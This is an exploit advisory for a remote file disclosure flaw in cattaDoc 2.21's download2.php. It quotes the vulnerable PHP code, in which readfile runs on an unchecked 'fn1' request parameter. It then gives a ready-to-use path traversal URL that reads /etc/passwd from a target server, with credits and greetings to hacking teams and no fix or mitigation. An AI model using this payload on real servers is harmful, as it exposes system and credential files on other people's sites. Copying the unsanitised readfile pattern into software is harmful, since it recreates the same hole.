cattaDoc 2.21 (download2.php fn1) Remote File Disclosure Vulnerability

#&nbsp;cattaDoc&nbsp;2.21(download2.php&nbsp;fn1)Remote&nbsp;File&nbsp;Disclosure&nbsp;Vulnerability #&nbsp;D.Script:&nbsp;http://cattadoc.com/download/cattadoc-2.21.tgz #&nbsp;Discovered&nbsp;by:&nbsp;GolD_M&nbsp;=&nbsp;[Mahmood_ali] #&nbsp;Homepage:&nbsp;http://www.Tryag.cc #&nbsp;Greetz&nbsp;To:&nbsp;Tryag-Team&nbsp;&&nbsp;4lKaSrGoLd3n-Team&nbsp;&&nbsp;AsbMay\'s&nbsp;Group #&nbsp;V.Code:&nbsp; ############################################################## #&nbsp;$tp&nbsp;=&nbsp;$_REQUEST[\'mtp\'];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp; #&nbsp;$ofn&nbsp;=&nbsp;\'\"\'.$_REQUEST[\'fn2\'].\'\"\';&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp; #&nbsp;header(\"Content-type:&nbsp;$tp\");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# #&nbsp;header(\"Content-Disposition:&nbsp;attachment;&nbsp;filename=$ofn\");&nbsp;&nbsp;# #&nbsp;readfile($_REQUEST[\'fn1\']);&nbsp;<<----&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# ############################################################## #&nbsp;Exploit:[Path_cattaDoc]/download2.php?fn1=../../../../../../etc/passwd &nbsp;